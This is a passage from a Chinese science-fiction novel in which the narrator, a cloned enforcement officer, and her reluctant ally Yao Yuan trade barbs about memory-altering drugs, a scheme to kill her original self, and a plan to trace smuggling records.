我愣了一下,盯着他没有感情的黑色瞳孔,认真又严肃地划出界限:“不要干涉我的选择。”
这是这出戏必须演到死的推手。
术煜反而真的笑起来了,眼神似是而非地扫了一眼姚渊:“管理局不会干涉个人选择,包括自杀。”
被降级结尾计划的我多少是有点不爽,但姚渊眯了眼睛,好像在琢磨什么。
他们之间有我不知道的交流?我盯着姚渊的神色,试图从他们的对话里找到一些蛛丝马迹。
“姚总督,”术煜冷不丁把话锋转向思考中的姚渊,“看在吴潍的面子上,我可以代替管理局回答你一个问题。”
姚渊沉默片刻,问出了那个很难回答的问题:“为什么是我?”
“很有意思的问题,我还以为你会更务实一点。”术煜撑着扶手,回答他,“你以为你这种堪比出家的行为,随便哪个人都能做出来吗?”
出家?我在心里忽然笑出了声。我怎么没想到这个词来形容他,确实,炸车炸房、利用记忆做道具,怎么都像是把红尘都断干净,无可留念了。
“因为你是‘姚渊’,没有别的原因。”他用着管理局那种官方又亲切的语气,“就是那个十五岁就被划定为弃子的那位姚家长子。”
姚渊的听到“弃子”这个词的时候,气势瞬间冰冷了下来,盯着术煜没动。
哪壶不开提哪壶。我换了个姿势,暗自分析,看戏一般去想。“弃子”这词意味太负面了,显得姚渊对姚瑎的感情就该是负面的,也怪不得他会生气。
“你没有回答我的问题。”姚渊强调了问题,“为什么在这里的是我?”
术煜盯着他看了片刻,真心实意地微笑起来:“吴潍,你觉得他像不像十年前的你?”
不像。我腹诽着。我哪有那么疯。
突然被点名的我本想装傻混过去,但我最后还是挑了个中性回答,冷声回应:“……劝不动。”
“这就是你坐在这里的原因。”术煜语气里的一丝笑意消失了,“姚渊,看着你自己是如何进入火坑的,是如何做出跟吴潍一样的选择,是如何彻底崩溃的。”
他的话像是冰冷的利刃:“姚总督,祝你好运。”
“作为活着回来的前城市执行官指挥官,”姚渊反而笑了起来,“我运气向来很好。”
术煜听得一怔,随即明显笑出声,起身伸出手:“很有说服力,是我狭隘了。”
姚渊没说话,起身回握了术煜的手。
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我初次见面的顶头上司结束谈话礼仪,无奈又无语地低头看我:“吴潍。”
知道术煜是什么意思,但我毫不在意地翘起二郎腿,后靠在沙发上:“我不想跟比我高出十厘米以上的人类站着谈话。”
“感情是不能被利用的。”术煜终于把他的忠告给向了我,“你本人算不上任何意义上的普遍例子。”
我抬头仰视他,用着很无辜地语气回答上司:“你以为执行官待遇,能好到让人完全守口如瓶吗?”
得加钱。我恶狠狠地想着。任何生命维护执行官都不应该被任何人策反。
“司南”一定给像Tong执行官许诺了什么,值得只有逻辑处理的人,不,生物体做出背叛的选择。
“有意思。”术煜勾起嘴角,轻轻摇了摇头,“那么,各位,晚安。”
“晚安——”我拖出“安”的长音,目送术煜离开,“术总管。”
门被重新关上了。
姚渊本想出门,但看着我没动,又坐回了沙发上:“你看起来有话要说。”
“你遇到的人,”我漫不经心地问,“是不是术煜?”
“你怎么这么确定?”被问话的人撑在沙发扶手上,“我也不值得他亲自威胁吧?”
“当然不值得。”我抿唇,停顿几秒才回打答他,“他需要一个非执行官的人,替我完成任务。”
姚渊没有什么情绪地盯着我。
我摸着额头,没有和他对视:“术煜要你去杀吴潍。”
被我说中的人没说话,默认了这个答案。
“你为什么拒绝了?”我问他,“术煜的这张空头支票,能做的事情太多太多了。”
“哈?”姚渊似乎觉得我对他的推理很好笑,难得露出这种真的被逗到的声音,“那好,吴队,我问你,我缺什么?”
“钱和权都是我玩腻的。”姚渊挨个点数,“家里就是商政联合,小瑎有的是人去保护;追求的真相、第二世界,这是你的责任,能不能撬开你的嘴是我的能耐。”
“啊,就剩自由和哲学上的质问。”他嘲讽地嗤笑一声,“这些东西人类自己都在追问,那张空头支票能给我什么?”
我被问得哑口无言,看着他认真的神色,想了半天,才试探性地把自己的想法总结成句:“你说得好像,执念就剩我了。”
姚渊似乎被我的话击中了似的,视线恍惚一瞬,下一秒挂上熟悉的慵懒语气:“所以,能不能恳请您屈尊降贵,施舍我一点真相?”
“不行。”我猛地站起身,回答得太斩钉截铁,说完又有些迟疑,“现在不行,你现在不行。”
“为什么?”姚渊靠在沙发背上问我,“那什么时候可以?”
说实话,我也不知道。
我比着下巴非常诚恳地回答他:“我不知道,但,不是现在。”
被三番两次回绝的姚总督终于是习惯了,站起身打开了房门:“至少不是绝口不提了,也算好事。”
我一直到坐回我的车里,才意识到我好像有什么事情没说。
回姚渊公寓的路上我踌躇许久,我斟酌着语气:“为什么吴潍见过姚瑎?”
“就是你想的那样,试探她是不是那个跟杀神一样追着我杀的‘吴潍’。”姚渊很诚实地回答我,“不过,我也不知道姚瑎跟吴潍说了什么,吴潍走私LEA也是我后期才知道的。”
“传话人,双盲机制,可以理解。”我补全姚渊没说完的条件,顺手跟他分享了这个小故事,“吴潍跟我说过姚瑎说了什么,大致意思是:姚瑎认为她就是‘姚瑎’这个身份的社会关系总和,质疑她是复制体是非常荒谬的。”
姚渊忽然坐直了身体,偏头盯着我。我被他的反应吓了一跳,忍不住往旁边偏了一点,和他对视。
“她是这么说的?”姚渊很认真地问出这个问题。
我有些摸不着头脑:“原话不是这样,意思差不多吧?”
“没有人怀疑姚瑎是复制——”他打住了自己话,沉默片刻,整个人躺回了副驾驶,“啊,是我。纪殊珩有我,或者说,十年前那个我,怀疑小瑎的证据。”
这倒是可以说得通了。我皱着眉头想。但十年前组织的所有文件我都看过,我印象中没有这样的证据。
不过,我漏过了纪殊珩这个人,因为任务重心不在她身上。她要是留有什么私人文件,必然也也没办法全部找到。
我想清清嗓子引起姚渊的注意,应该对他说点什么也许“振奋人心”的话,但我一句话都说不出来。
隐约有点越界的嫌疑。我撑在窗口看着后视镜想。我要用什么身份安慰他?还是用什么话去安抚他?
我什么身份都没有。
35. 无计可施的对局
我和姚渊就是被绑上船的合作者。我是他砸了重金求来的知情人,也是隔着一条血债的敌人。
朋友?肯定不是朋友,不然我怎么会说不出当年信手拈来的安慰话语?那,是盟友?姚渊不知道“第二世界”和真相,算不上盟友,顶多算劝他回头但无果的倒霉前辈和后辈。
后视镜里的路灯不断后退,最后消失在路的尽头。我满眼都是灰色的路面和毫无暖意的昏黄光线,深夜的氛围令人惶惑。
今天的月亮是新月。我不再看重复的景色,放远视线,去看远处因为防护罩模糊的月影,推测着。
“严格说起来,你陪姚瑎的时间更多。”我掰着手指头去数,“跟,原型比起来的话?”
“你真会安慰人。”姚渊的语气带了一点微妙的笑意和放松,“无所谓,纪殊珩早晚都要出这张牌。”
我好不容易找到的安慰事实就这样被抽掉了,悻悻地放下手,手动把车停在地下停车位上。
锁好车,我亦步亦趋地跟在他身后。他看起来好像没什么区别的背影,我总有种“他怎么习以为常”的微妙质疑和担心。
“姚渊,”踏进电梯,我意味不明地评价他,“你真是豁达得令人害怕。”
姚渊的语气明显就是在笑:“你说什么?我比你高一个头,大点声。”
这人嘴里能不能有点好话!
我握紧拳头,跨出一步,猛地拉下他的领口,几乎是冲着他骂:“狼心狗肺。”
他低低地笑起来,回手摁上电梯关门键:“也怪不得你曾经的队员那么喜欢你了。”
我停顿片刻,松手的同时推了他一把,拉开距离:“我说过,管理局福利很好。”
“包括‘上司’替‘队员’背上不属于她的谋杀案?”姚渊顺势靠在电梯壁上,低头看着我,“我觉得不是,你怎么看呢,吴队?”
谋杀案?在说Tong吗?
我杀了生命维护执行官也就是接受“教育”,外带扣工资,过两天照样安生活着。至于洗脑这项,是针对其他复制体执行官的。
我是原型人类,不是复制体,他们不会对我做什么。
要是姚渊杀了生命维护执行官,就不是洗脑罚款那么简单了。我在记忆里调用一些可行的案例,结果只想起十年前带队探索辐射区的姚渊。
他带回的“怪物”就是生命维护执行官,是我生涯里遇到的,唯一一个身为人类击杀执行官的例子。
对普通人来说,击杀执行官就是死刑?我没有前例可以依照,只好翻过这个猜想。
不论如何,我担下Tong死亡的责任后果,远比姚渊亲自去认可控多了。
“这么在意?”我盯着他,“我觉得你喜欢我。”
诡异的沉默片刻,对面被我的直球打得停滞一瞬。
没等他说点什么,我慢悠悠地补上下半句:“‘吴潍’这个名字在管理局相当好用,你在我手下,喜欢队长太正常了。”
姚渊站直身体,有些哑然失笑:“牙尖嘴利。”
现在我就想咬死你。我在心里反击回去。
没管姚渊准备去做什么,我重新坐回餐桌上。终于有时间去看纪殊珩的案件档案有什么注意点。
不出我所料,纪殊珩确实把那个很像她的“假纪殊珩”定义为了“姐妹”。我冷笑一声。素未谋面的姐妹,那些说辞连起来,更像是令人扼腕的“抄袭仰慕者”。
我继续往下翻。
尸检疑点找到了针孔,但没在体内找到可疑成分,结合体内激素水平,法医只能判定为“急性心因性死亡”。
这就是LEA过量引发的死亡。行内人知道,但这些不是能在法庭上作证的证据。
也怪不得纪殊珩连尸体都懒得处理,因为LEA本身的机制,找到了进行尸检也没有任何意义。
我重新翻了回去,把注意力放在体内检测成分上。
ReactionModulator,1mg/L。我的目光落在这行陌生的化学成分上。
十年过去医疗技术有进步也很正常,十年前这串第二语言根本就不在我的记忆里出现。
直译过来是“反应调节剂”,缩写就是“RM”,但没有后接版本号。我沉思片刻,也许应该让林执去取样分析,确认RM版本号。
参照常见镇定剂,这个浓度在安全范围内。
即便“假纪殊珩”在此前去过医院,在出了医院之后,还有这么高的浓度有些可疑,但这一点也可以用“针孔”解释。
被人注射了正常剂量的镇定剂,算不上什么死因疑点。
我应该去联系林执吗?我琢磨着要怎么联系林执,往下翻过一页。还是应该对吴潍提起这个?
没等我想出个方案,我看见最后一页的角落有属于我的字迹写着:RM成分已提交给林执二次检验版本,结果另行通知。
吴潍早就预料到我想知道这个,特地写给我看的。心里翻涌起难以描述的情绪,不自觉地叹息。
“吴潍很聪明。”姚渊撑在椅背上对我说话,语气里有些揶揄,“你的基因组倒确实挺完美的?”
我潦草整理好手里的文件,慢条斯理地移开话题:“真希望你明天还能说得出话,口腔溃疡一定会让你闭嘴。”
淤青是小事,我就是冲着他的脸颊去的,口腔里的伤口才是最难捱的。我在心里啧啧两声,没有任何怜爱。
“我上过药了。”他声明自己刚刚的动向,“你是不是听不得别人夸你?”
“你夸的是我吗?”我站起身,毫不客气地去吧台给自己重新倒了杯水,“我现在是移民Wined·Caster,生命维护执行官代号Woe,不是‘吴潍’。”
“你想拿回这个名字吗?”姚渊的语气虽然还是很轻浮,但我还是听出了几分郑重,“如果只是单纯下不去手,我可以帮你。”
我把杯子里的水一饮而尽,重重放在吧台上:“你要是杀了她,我会再杀你一次。”
“好凶。”姚渊夸张地缩缩脖子,“我都拒绝术煜了,你可以信任我。”
“空头支票没有兑换期限。”我没看他,目视前方短暂放空,“你在这件事上永远没有信任可言。”
对方无力地轻叹一声,踌躇两秒,对我问出了似乎有点冒犯的问题:“那,你除了感情上迈不过去,还有别的原因吗?”
“没有感情上的原因。”我转头盯着他,“不杀的原因很简单,因为杀了她,我也回不去十年前的人际关系。”
姚渊看着我的眼神有几分真挚,我犹豫片刻还是坦诚告诉他:“我需要重新适应文职,重新和母亲建立关系、认识新同事,记住LEA走私、在组织边缘打转。那是她的生活,不是我的。”
他和我对视,欲言又止了半天,才开口:“换句话说,如果现在这个吴潍维护了十年前的关系,你就会杀了她。”
“恭喜你,答对了。”我没有感情地勾起嘴角,“这就是我的工作。只不过这次需要处理的复制体,是我本人的。”
姚渊似乎有一肚子话要说,最后什么都没说:“浴室我准备好了,你能用得上都没拆封。睡衣大概是你要自己准备了。”
“你不问点别的?”我撑在吧台上看他,“刚刚教我不要错过机会的姚总督去哪里了?”
对面站直身体,说得斩钉截铁又毫无说服力:“下班了。”
不加班?那正好,我也不想加班。我撇嘴,从沙发边上的行李包里摸出换洗衣服,绕过站桩的姚渊,摸进浴室。
“你戒心会不会有点低?”他远远地问我。
我拉开花洒的手停顿片刻,远远地回答他:“手下败将没资格说这话。”
确实是实话。我清洁完毕,内心感慨一句:热水简直就是城市生活最棒的一环。
没有太沉迷物质享受,我对着镜子检查前两天留下的伤势。
肩膀的贯穿伤基本愈合,但怕是要暂时留点痕迹了,等案件结束了,找点祛疤的药膏涂两天就好;肋骨下的淤青消下去不少,组织成员的踢击、外带姚渊手下留情但雪上加霜的一拳,但还是有一些青紫,比前两天状态好得多了。
我背过身,检查后背因为修复舱留下的小伤口标记,基本消失得差不多了;那些因为后背着地的坠楼擦伤,现在已经看不见了。
总得来说,问题不大。我思索着。生物科技顶点的城市,这里的民用修复技术已经很完善了。淤青只能慢慢消,但是骨裂和贯穿伤这类小伤没什么大碍。
我活动了身体,没有什么微妙的不适感。
目前来看,修复舱的可能后遗症没发生在我身上。生物力学没有问题,不用急着去复查。
穿好衣服,我才有点额外兴趣打量姚渊的梳妆台。
护肤品一个比一个贵,真精致。我粗略扫了一眼,打开柜门,我的化妆品赫然在列。
……小偷。我目光暂时略过这一点,其他倒是没有太违背我直觉的物品。
习惯性地把东西收拾回原位,我对那罐最贵的水乳多停留了两秒,还是决定假装没看见。
说实话,我真的有点仇富了。
短暂地跟姚渊争执一番到底睡哪的问题,最后以我为主,全票通过我睡沙发的决定。
“卧室里真的没有危险,这里是市中心。”姚渊非常老派地执着劝我,“我起得肯定比你早,我的厨房是开放式的,你肯定睡不好。”
“我知道。”我趴在沙发上看他,语气有条不紊,“但我前两天就躺在吴潍床上,差点被叶琦单杀了,我选择离门近的。”
姚
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渊终于犟不过我,放弃维护他骨子里莫名其妙的“绅士”做派,进了卧室没再理我。
我在黑暗里深沉地长叹,放任自己今天不去想今天发生了什么、接下来要做什么,仅仅只是享受一夜无梦。
倒计时七天。
捏着眉心,听着耳边“噼里啪啦”的煎蛋声音,我终于有点后悔没跟姚渊去抢卧室了。
“我告诉过你,”姚渊看起来神清气爽地撑在吧台上看我,“所以,不准对我有起床气。”
我觉得我需要给自己辟谣:“我没有起床气。”
扶额,短暂坐一会缓缓神,我起身摸进浴室让自己清醒一点。
“纪殊珩还没给你发消息?”我咬着姚渊的早饭三明治,“效率真是低下。”
被连带着骂了的姚总督装模作样地看了眼手环:“没有,或许你可以去睡个回笼觉。”
“不睡了。”我放慢了解决三明治的速度,反正也没事干,短暂停一停喘口气也还好,“倒是你,昨天回来都快凌晨两点了,你怎么还有精气神早起?”
“天赋。”姚渊高贵地甩给我两个字。
行,你说是天赋就是天赋。
我思索着,为了不让餐桌那么沉默,决定说点什么:“那张海蚀照片,是你自己拍的吗?”
“十年前在城外拍的,在我桌子上放了三年不到。”他认真地回答我,“也是难得的纪念,我们城市不靠海,很难见到。”
“这是我第一次看见真正海的照片。”我摸着下巴回忆,“我去不了太远的地方,你知道的,超界会被追责。”
姚渊表情似乎是有几分“惊讶”?看不太出来,每次他掺杂一些非算计类的情绪,我就很难识别出来。
“很漂亮。”我评价那张照片,“你在城外还有心情拍这个,我是真的信你精神状态很好了。”
说实话,姚渊身上有一种很难描述的内向气质。
不管是选择做饭、拉提琴,还是讨好姚瑎,甚至是在城外那种恶劣环境里还有心情拍照,怎么看都像是格外敏感,或者说有过于柔软内里的人,不像是有天赋去做指挥官的人。
我陷入思绪分析着。
他沉默片刻:“有,机会的话,我可以带你去看,现场比照片要震撼得多。”
收回思绪,这句话几乎是立刻验证了我的小小猜测。天真又柔软的承诺,可惜在成年人的世界里,特别是在我和姚渊之间,这句话就只能是一种奢侈的“幻想”。
我轻轻笑起来:“我离开不了这座城市。”
我还有一周时间。
面前有纪殊珩,有“司南”,有余殷的CEC实体证据,有吴潍身上我所不知的过去,有叶琦的血仇,还有我需要对所有人做出的解释。
有生之年,我怕是都不能离开这座城市。
“但你过去的十年,在辐射区?”姚渊迅速挑出我的句子里的隐藏情绪,真是一秒钟都不能懈怠。
我把真正的笑意收回去,留下皮笑肉不笑:“辐射区不是城市的一部分吗?每年探索队不都是有很多成果运回城市吗?”
他眯眼盯着我片刻,没有再追问:“纪殊珩说下午三点,上午你想怎么过?”
我放下最后一口送到嘴边的三明治,压着眉头去问他:“你又骗我?”
对方摆出无辜的表情:“我真的只想让你睡个回笼觉。”
把手上的三明治吃掉,起身去厨房洗了个手,我才转身站到姚渊面前,捏过他的下巴:“别逼我在你脸上真的打个对称,你在我这里信任度快清零了。”
“真是冤枉。”他一把拉掉我的手,笑着摇摇头,“我手里真的没牌了。”
鬼才信。我坐回沙发,仔细思考我还有什么线索可以搜罗。
吴潍的纪殊珩档案已经拿过来了,但是林执的调查还没有结果,我又不好去催。
但我不能赤手空拳地去见纪殊珩,因为上次的电梯无人机事件,她怕是恨不得扒我一层皮下来。
能压下叶琦的死亡案件,能调动下层执行官,能跟民间企业负责人纪殊珩接触不会起疑,能阻止吴潍住址这种基层信息流动,能提供管理局机密技术……
“司南”看起来不像是单独一个人,更像是一个团体。
如果是单独一个人,横跨基层一线、核心技术员和核心管理层,那这个人不仅实力强劲,人脉也是我难以想象的广阔。
所以更可能是一个团体,这比我想象中要棘手多了。
“你在想什么?”姚渊收拾完,给我递一杯水,隔了点距离坐在另一边沙发上,“什么‘邪恶’计划?”
“我在想纪殊珩会怎么将你一军,”我收回思想,把最紧急的事情摆在台面上,“她要你回去做什么?安抚人心?但明显你的声誉已经快触底了。”
36. 无计可施的对局
跟纪殊珩第一次见面的时候,就有一份指控姚渊背叛组织的文件。而且值得让纪摄政亲自质问,显然不是什么能压下去的小事。
姚渊勾起嘴角:“那只是一部分。”
摸着下巴,忽然想起昨天晚上姚渊的“救世主”剧本,我抓着脑袋里的灵光一现变成句子:“因为你是那个成功的例子?”
“哪个例子?”他明明知道我在说什么,但偏偏还是选择了岔开话题,“我大概只能变成罕见精神创伤的例子。”
我扫他一眼,没接茬:“你和纪殊珩做了什么交易?”
“我和她目前没有交易,”姚渊回答我,“这点你不用质疑。”
“我从一开始就很疑惑,你因为十年前的追杀记忆加入了组织、自愿做纪殊珩的实验体、当组织的精神总督,”我勾起嘴角盯着他,“你只要她嘴里不知真假是真相?不觉得很亏吗?”
他脸上的浅笑没有变:“我能在你身上砸一千四百三十万,赌上那么多就为了撬开你的嘴,你觉得我会认为和纪殊珩那笔交易很亏?”
差点被他的逻辑带偏了。我在心里把自己的理智拉回来。
他要的不仅仅是十年前的案件真相,还有“第二世界”的事实,最重要的是,我是最有能力牵制纪殊珩、帮他断掉LEA走私链、肃清组织的人。
这么一比,姚渊和纪殊珩那笔交易,回报率极低,回报还不知真假。
“很亏。”我给他下定义,冷不丁扯了个离谱原因,“你总不能还图她人吧?”
“啧,吴队,你的脑回路真清奇。”姚渊收起脸上的笑意,“纪殊珩从一开始恨不得把我物理拆了,你想太多了。”
“所以说,你肯定还有我不知道的回报。”我好心情地笑起来,拖长音,挨个点数,“比如LEA全套技术、公司股份、不对姚瑎出手之类之类的。”
被我造谣的姚总督直叹气,从我的第一个猜测摇头摇到最后一个猜测:“对组织成员提供免费空白LEA、不干涉我在求真派的调查和事务、每年划经费。应该还有点别的,我忘了,没怎么用过。”
我忘了?我在心里阴阳怪气地复读这三个字。
既然对组织成员提供空白LEA,那使用方法和特性,姚渊从头到尾都知道。
我抱胸,盯着他。
对方和我对视片刻,语气有些隐约的试探:“昨天晚上那一拳,还没解气?”
缓慢点头,我开口:“没错,你最好之后谨言慎行。”
“做不了宰相的人。”姚渊评价我,想起来似的补充,“还有,我没有‘尸位素餐’。”
这话一出,我和姚渊的度量半斤八两。
我一愣,在心里笑出了声。昨天晚上碍于吴潍在场,扫我那一眼原来是在埋怨和暂时无法辩解的悻悻。
“我理解。”我退让半步去难得哄他一次,“因为空白LEA剂量可控,记忆内容可控,所以‘召回’的事故率比‘修正’低得多。你想要组织成员优先选择LEA,而不是真的跟家里人打一架。”
记忆大多来自组织成员之间,那些人最多记录和家里人的相处,也不会有什么极端记忆,这类LEA大概可以真的归类进普通镇定剂。
姚渊终于得以“沉冤昭雪”,心情看起来好了不少。
“你觉不觉得你今天心情有点好过头了?”我终于是忍不住问他,“如果你有一条狗尾巴,现在一定在摇。”
“有吗?”他反问我,停顿几秒,假模假样地认真思考,“大概是你看起来对我的早饭很满意。”
我无话可说了,因为那个三明治确实很好吃。
煎蛋和培根火候恰到好处,培根本身就有我描述不出来的风味。我回忆片刻,也许烟熏的?
面包口感柔软有韧性,配上微甜的底味,倒是跟我最喜欢的面包牌子有点像,但明显少了一点工业制品特有的干涩感?
组合起来就是挺好吃。我不是美食鉴赏官,非要让我做点评价就只能是这样了。
厨艺可能占比不大,但原料应该是实打实的好。
“你默认了。”姚渊打断我的思绪分析,“这次评价不是‘还行’。”
八岁吗?这么在意我的评价。
我移开视线,“大人”一样地移开话题,扯出那个遗留很久的问题:“你怎么确定纪殊珩拿到的那份CEC是余殷的?”
似乎这个问题很难回答似的,姚渊意味不明地摩挲着指尖:“因为,余殷的记忆。”
但LEA记忆不是黑箱吗?那么作为被逆推药剂的CEC应该也有这个问题。
由此可推,除了余殷本人和注射余殷的CEC记忆药剂的人,没人知道那记忆里有什么。
“我没听懂。”我直白告诉他,“你不能用‘CEC里是余殷的记忆’回答‘这份CEC是余殷的’,这是废话。”
姚渊有点挫败,摸着眉心组织语言:“我做过纪殊珩手里的实验体,你要不想想她报告里‘LEA只有CEC的60%效果’的结论是从哪里来的?”
那个“注射余殷的CEC记忆药剂的人”是姚渊。我想叹气,结果只是生生忍住。
所以,他脑袋里有三个人的记忆。原型姚渊被我追杀的记忆,余殷的未知记忆,还有属于他自己的记忆。
这不精神分裂,真是天赋异禀。
我沉默片刻,真心实意地提出结果:“说实话,姚渊,你真的很亏。”
“那你觉得我还能向纪殊珩要什么呢?”他语气里有点无奈,“所以,我背叛纪殊珩非常正常。”
也许这是实话?但我觉得还差点东西,缺一点姚渊重视的理念问题。
如果纪殊珩和他的理念完全相合,这些物质和做实验体的代价对姚渊来说,都不是大问题。
LEA作为“敛财”和“救赎”工具算一条理念冲突,但也算是现实和理想的一体两面,不算完全不可调和。
更何况纪殊珩还在升级LEA。
等等,LEA最新成果是做人格替换。我端起茶几上的杯子,故作镇定地喝了一口。这就是原因了。
姚渊愿意做实验体,是因为LEA给了他原型记忆。
如果最后结果是原型人格替换他现在的人格,姚渊本人可能无所谓,但那些被组织成员质疑的亲人,并非确切是复制体。
如果对方不是组织成员所质疑的复制体,那么就是某种意义上的“谋杀”,甚至只是单纯因为“这样或许更好”而扼杀本来的人格。
我不敢直说纪殊珩会在下午的会面上带来什么,尽管我觉得姚渊自己应该能猜出来。
不论如何,我得想办法稳住他。
“你觉不觉得你这话说得很——”我觉得先和缓一下氛围,结果找了半天词,“好欺负。”
“什么?”姚渊不理解我为什么会给出这个评价,“你还是第一个说我‘好欺负’的。”
我比着下巴:“你好像没想着怎么报复她?”
姚渊回应得很坦荡:“以德报怨。”
一种熟悉的“习以为常”的麻木感。我很懂这种微妙的情绪,在下层我就这样催眠自己。
“姚渊,”我清清嗓子,“我不知道你过去发生了什么,但你现在这种,我不知道怎么描述的情绪,会毁了你的。”
他嘲讽一笑:“哦?现在轮到你做心灵导师了?”
“我不做这种耗费心力的事情。”我送他一个漂亮的白眼,毫不客气地反击回去,“纪殊珩这种‘怨’你都不报,你只能算是好欺负。”
“迄今为止,都是你情我愿的交易,算什么怨?”姚渊慢条斯理地摇头,“我只跟她两清了,如果她要对姚瑎做什么……”
姚渊话没说完,我撇嘴不愿意去听,生怕他嘴里蹦出来一些堪比“你早该逼我去杀了姚瑎”的限制级方案,攻击我的道德底线。
我深沉地叹气。
说实话,我一直觉得是纪殊珩利用了姚瑎靠近姚渊注射了那针LEA。
因为根据姚渊的描述和我对他的了解,大概率只有姚瑎能接近完全不设防的姚渊。
但我又不能直说,也没有去实地调查,没有拿到确凿证据,无法排除小概率事件,这样干巴巴地说出来只会让姚渊把我“扫地出门”。
我重新捋了一遍。
原型姚渊质疑过姚瑎“不是他的妹妹”,复制体姚渊回到家里也感受到姚瑎对他有所“忌惮”,所以,姚瑎也是最有动机下手的。
不管是姚瑎想要原来的哥哥、还是更好的哥哥,纪殊珩只需要利用她深层的恐惧,就可以轻松拿捏当时只是高中生的姚瑎。
人格替换的存在加上目前姚瑎倒向纪殊珩的怀疑,我可以很轻松推理出:纪殊珩也许会带一个“假”姚渊出现。
“更好的哥哥”不再需要从“姚渊”身上尝试找到,而是可以塑造一个可以真正属于心目中美好的哥哥。
至于纪殊珩的目的是什么,这我就不得而知了。
我后靠在沙发身后,盯着天花板努力放空思绪。
这算家务事吧?我愤恨地去想。清官难断家务事,这种情况出现我能做什么?把“假姚渊”杀了吗?
来一个杀一个?我被自己这个想法气笑了。上司大概会真的把我抓进监狱里冷静两天。
我甚至都不敢跟姚渊提起这个非常……痛苦的设想。
更令我不安的是,我必须承认,如果纪殊珩真的出这张牌、出这个场景,我没有破局手段。
我控制不了姚渊,我也无法劝导姚瑎。我或许真的需要跟术煜去要执行官小队,正面强攻纪殊珩的据点。
但这样一来,且不说术煜会不会同意,管理局会非常难收场,也不是我擅长的战场。
更何况,这样做,就相当于我选择了姚渊这条路,我不想面对全城执
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行官的追杀。
我还没有厉害到那个地步。
“你在想什么?”姚渊冷不丁打断我,“你这样睡会落枕的。”
别关心落枕了,我在想办法让你的世界不那么快崩溃。
我不动声色地抬头,站起身盯着姚渊:“我要去一趟管理局。”
“你确定?”姚渊抬头看我,有些不能理解,“吴潍这个点也在管理局,你去不会报警吗?”
我扫他一眼:“谁说我要走正门了?”
他有点欲言又止:“我在门口等你?”
“不,你跟我去。”我上前两步略微俯身,轻佻一笑,“昨天酒店我就发现了,你这张脸确实好用。姚指挥官,你应该认识你的前上司夏长泽。”
“是这样没错。”姚渊站起身,迫使我后撤两步拉开距离,“但你找她做什么?”
“开一把赌局。”我抬头去看他,“我赌LEA是城外加工的。”
其实不是赌,吴潍跟我说过“城外的LEA更便宜”,那么一定有一条固定线路通向纪殊珩公司,而夏长泽作为明面上的军方总管,同样负责管理护送运输辐射区成果,自然会有流通记录。
单看肯定没有问题,我要去溯源。
纪殊珩知道我没时间挨个去查源头,但只要甩出记录,我去查就是时间问题。
虽然会暂时卖掉姚渊,但这已经是最好的办法了。
我需要提前把这张牌拿出来倒扣在牌桌上,现在用不了,但会让司南和纪殊珩有所掣肘,无无暇对姚渊做太多小动作。
“你看起来要把我卖了。”姚渊的声音有些莫名的疑惑和委屈,“夏长泽的人情很难还。”
被戳穿了心思的我轻咳两声:“夏长泽也认识我,我会帮你还的。”
其实买方是纪殊珩,但看在合作对象的份上,我会顺路捞你的。我在心里对姚渊说。
姚渊站在门口,转头问我:“你怎么会认识夏长泽?”
“说来话长。”我带上我的行李包,冲他挑眉,“就看夏总管和你的交情,会不会对你提这个小故事了。”
“秘密真多。”他嘀咕一句。
去管理局一路上我都有点心烦意乱。
和姚渊算是合作关系,我没什么资格去提起别人的家务事——虽然也不算是严格的家务事,但我不能看着人去送死。
我确实可以不管。
计划上应该等林执那边的RM版本确认出来,反推原料产地,再根据夏长泽手里的护送记录进行溯源调查。
和纪殊珩的谈判,我没指望能问出点有用的,主要就是拿叶琦的档案。
按照我对叶琦的了解,档案有没有问题我一眼就能看出来,我就可以确定叶琦的死亡到底是管理局亲自下令,还是组织安排的系统谋杀。
所以,我上午安排主要是去找林执,顺便看一眼术煜,问问他有没有能在纪殊珩那边能用得上的牌。
至于姚渊这个人,根本就不在我的计划里。
找夏长泽根本就不是现在该干的事情。
“你要我怎么跟夏总管说?”姚渊坐在副驾驶,有些费解地问我,“不会是直接问她要运输记录?纪殊珩公司业务比你想得多太多了,更何况都是合法业务,你要来做什么?”
我也知道没用,因为中间跳过步骤了。
没回答他的问题,也没有正眼看他,我生硬地回答他:“上司的心思你别猜。”
姚渊笑出了声:“你是不是担心我?”
“是又怎么样?”我有些愤恨地回答他,“你就没担心过手底下的活人?不然看着你——”
被纪殊珩用那种侮辱人的方式引爆你的“存在主义危机吗?
我把后面半句话咽了回去,换了个说法:“我官比你大,听我的。”
“没法反驳。”他抱胸撑着头回答我,“我就只是‘城市居民’,管理局里随便哪个人都比我官大。”
“知道就好。”我瞪他一眼。
“我很好。”他语气里的轻松换成了严肃,“纪殊珩动作那么快,她早就安排好了,你做不了什么的。”
我尽可能隐蔽的深呼吸压下心里的几分恼火,但非常遗憾,我就不是那种脾气有多深沉稳定的角色:“姚渊,你到底还有什么没告诉我?”
“没有。”姚渊回答得很干脆,“都是你的分内任务,说不上没告诉你。”
我绷着下巴,盯着窗外的后视镜。
姚渊终于说出了那句我最不想听到的话:“所以,收回你要改的计划。”
“我很好。”他重申着,“不用担心我。”
我忍无可忍,半起身,越过驾驶位中间的一帮磕绊组件,把姚渊彻底压在副驾驶位子上:“我告诉你,你不要毁了我曾经的队长清誉。
“我手下的人,向来都不是消极生活的人。
“你,根本就不适合当指挥官。”